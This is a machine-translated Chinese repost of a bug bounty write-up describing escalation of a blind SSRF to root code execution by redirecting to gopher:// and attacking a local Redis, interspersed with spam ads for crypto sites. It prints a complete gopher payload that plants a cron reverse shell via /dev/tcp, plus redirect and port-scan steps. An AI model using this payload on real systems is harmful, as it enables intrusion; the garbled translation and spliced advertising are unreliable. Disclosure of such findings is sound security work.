filecoin招商（www.ipfs8.vip）：记一次从盲SSRF到RCE

一 前言

发现此破绽的破绽赏金设计不允许公然披露，因此我不会直接使用涉及的系统名称。该项目是宣布在Hackerone时间最长破绽奖金最大的项目之一, Hackerone上有许多关于该项目的黑客事宜。这是一家异常稳固的公司，拥有天下一流的平安团队而且多年来有大量平安专家对这家公司举行测试，这使该破绽的存在加倍令人惊讶。

二 侦查

一样平常来说，对于一个大局限的破绽赏金项目，我会举行子域名枚举来增添攻击面，但在本例中，我专注于单一的web目的系统。由于我只关注一个web应用程序，以是我首先使用GAU(https://github.com/lc/gau) 工具获取url和参数列表。我还查看了种种javascript文件中隐藏的参数，并使用Ffuf(https://github.com/ffuf/ffuf) 工具举行了一些目录模糊处置。通过这些方式，我发现了一些有趣的参数，但没有发现什么懦弱点。

由于第一种侦查方式没有发现任何问题，因此我实验了另一种方式。在后台运行Burp署理测试Web应用程序的种种功效，发出的所有请求都存储在Burp中，这使我可以轻松查看所有请求中是否有有趣或潜在的破绽。在测试了Web应用程序的功效之后，我最先浏览存储在署理日志中的请求，并遇到了类似于以下的请求

GET /xxx/logoGrabber?url=http://example.com
Host: site.example.com
...

带有url参数的GET请求。此请求的响应如下所示，其中包罗有关URL的题目和徽标的信息:

{"responseTime":"99999ms","grabbedUrl":"http://example.com","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}

该请求立刻引起了我的兴趣，由于它正在返回有关URL的一些数据。每当您遇到从URL返回信息的请求时，最好测试一下SSRF。

三 发现SSRF

我第一次实验SSRF失败，我能够与服务器举行外部交互，但由于受到了适当的珍爱，因此无法接见任何内部IP地址。
在无法接见任何内部IP地址之后，我决议查看是否可以接见该公司的任何民众已知的公司子域。我为目的做了一些子域枚举，然后对所有枚举的子域名举行实验。最终，我很幸运，发现一些无法公然接见的站点返回了题目数据等信息。
举一个子域名(somecorpsite.example.com)的例子:当我实验http://somecorpsite.example.com 在浏览器中接见时，该请求超时。但当我提交请求时:

GET /xxx/logoGrabber?url=http://somecorpsite.example.com
Host: site.example.com
...

响应包罗内部题目和徽标信息:

{"responseTime":"9ms","grabbedUrl":"http://somecorpsite.example.com","urlInfo":{"pageTitle":"INTERNAL PAGE TITLE","pageLogo":"http://somecorpsite.example.com/logos/logo.png"}}

现在，我可以通过接见内部子域来接见该域名的题目和徽标，因此我决议以盲SSRF提交讲述。内部题目信息没有太敏感的内容，也没有返回其他页面内容，因此我以为这将被以为是影响力很小的盲SSRF，然则我没有想法将其升级，并决议按现状讲述。一段时间后，该讲述被接受并举行了分类。

四 RCE

自从我的原始讲述举行分类以来，已经由去了约莫一个月。我对它举行了分类感应很兴奋，然则知道影响很小，而且我可能不会从中获得许多赏金。SSRF仍然存在尚未修复，因此我决议举行更多研究以实验进一步升级。在研究历程中，我领会到Gopher协议是升级SSRF的绝佳方式，在某些情形下可以导致完全远程执行代码。为了测试是否支持gopher协议，我提交了类似于以下内容的请求:

GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
Host: site.example.com
...

不幸的是，请求立刻失败并导致服务器错误。没有向我的Burp发出任何请求，因此似乎不支持gopher协议。在继续测试的同时，我在线阅读了重定向通常是绕过某些SSRF珍爱的一种好方式，因此我决议测试服务器是否遵照重定向。为了测试重定向是否有用，我设置了一个Python http服务器，该服务器将所有GET流量都重定向到了Burp中的url。

,

USDT线上交易

U交所（www.payusdt.vip）,全球頂尖的USDT場外擔保交易平臺。

,

python3 302redirect.py port “http://mycollaboratorurl/”

然后我提交了如下请求，以查看重定向是否到了我的Burp中:

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...

在提交请求后，我注重到重定向被跟踪，请求了我Burp中的url。以是现在我已履历证了重定向被跟踪了。现在我知道可以重定向了，我决议用gopher协议测试它。最初在请求中提交gopher负载会直接导致服务器错误，因此我将重定向服务器。设置如下以测试gopher是否可以通过重定向事情:

python3 302redirect.py port “gopher://mycollaboratorurl/”

然后再次提交请求

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...

令我惊讶的是，它是乐成的。重定向后在我的Burp中获得了一个请求。有一些针对Gopher协议的过滤器，然则若是我从自己的服务重视定向，它就会绕过过滤，重定向之后Gopher执行有用负载！gopher的有用负载可以通过302重定向执行,而且我意识到使用gopher我现在还可以接见以前过滤过的内部IP地址，好比127.0.0.1。
既然Gopher的有用载荷可以事情，而且可以攻击内部主机，我就必须弄清晰我可以与哪些服务交互，以便升级。在做了一些搜索之后，我发现了一个工具Gopherus(https://github.com/tarunkant/Gopherus)， 它天生gopher有用载荷来升级SSRF。它包罗以下服务的有用负载：
MySQL (Port-3306)
FastCGI (Port-9000)
Memcached (Port-11211)
Redis (Port-6379)
Zabbix (Port-10050)
SMTP (Port-25)
为了确定上面的端口是否在127.0.0.1上打开，我使用SSRF举行端口扫描。通过302将我的网络服务重视定向到gopher://127.0.0.1:port， 然后提交请求

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...

我可以识别打开的端口，由于若是端口关闭，请求的响应时间会很长；若是端口打开，请求的响应时间会很短。使用这种端口扫描方式，我检查了上述所有6个端口。一个端口似乎是开放的-端口6379（Redis）

302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED
302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED
302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN
etc…

现在一切看起来都很好。我似乎拥有了我所需要的一切：
302重定向接受Gopher协议
能够用gopher有用载荷攻击localhost
已识别在内陆主机上运行的潜在易受攻击的服务
使用Gopherus，我天生了一个Redis反向shell负载，效果如下所示：

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

若是这个有用负载执行乐成，它将使netcat侦听器获得反向shell。我启动服务器302重定向到gopher负载，如下所示:

python3 302redirect.py port
"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A
%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

我启动了我的web服务器，我还启动了Netcat侦听器,端口1337，以捕捉任何传入的反向shell。然后最后是要害时刻,我提交了请求:

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com
...

什么都没有,什么都没发生。我看到一个请求到达我的重定向服务器，然则没有反向shell返回到我的netcat。就这样竣事了，我想，对我来说没什么。我以为我的端口扫描效果可能是假的，可能内陆主机上没有运行Redis服务器。我接受了失败，最先关闭一切。我把鼠标放在运行netcat的终端上的X按钮上，设计几毫秒后点击关闭它，突然我真的不知道为什么这么晚，但约莫5分钟后，我收到了一个反向shell。我很喜悦我一直在监听，否则我永远不会知道我获得了RCE

我运行whoami来验证我有RCE（我是root！），然后立刻断开毗邻并用新信息更新了我的原始讲述。该破绽于2020年5月发现/讲述，现在已解决。我最终获得了15000美元的赏金，以及公司平安团队的一些赞美：

原文链接:
https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530

Filecoin收益

Filecoin收益官网（www.ipfs8.vip）是FiLecoin致力服务于使用FiLecoin存储和检索数据的官方权威平台。IPFS官网实时更新FiLecoin（FIL）行情、当前FiLecoin（FIL）矿池、FiLecoin（FIL）收益数据、各类FiLecoin（FIL）矿机出售信息。并开放FiLecoin（FIL）交易所、IPFS云矿机、IPFS矿机出售、租用、招商等业务。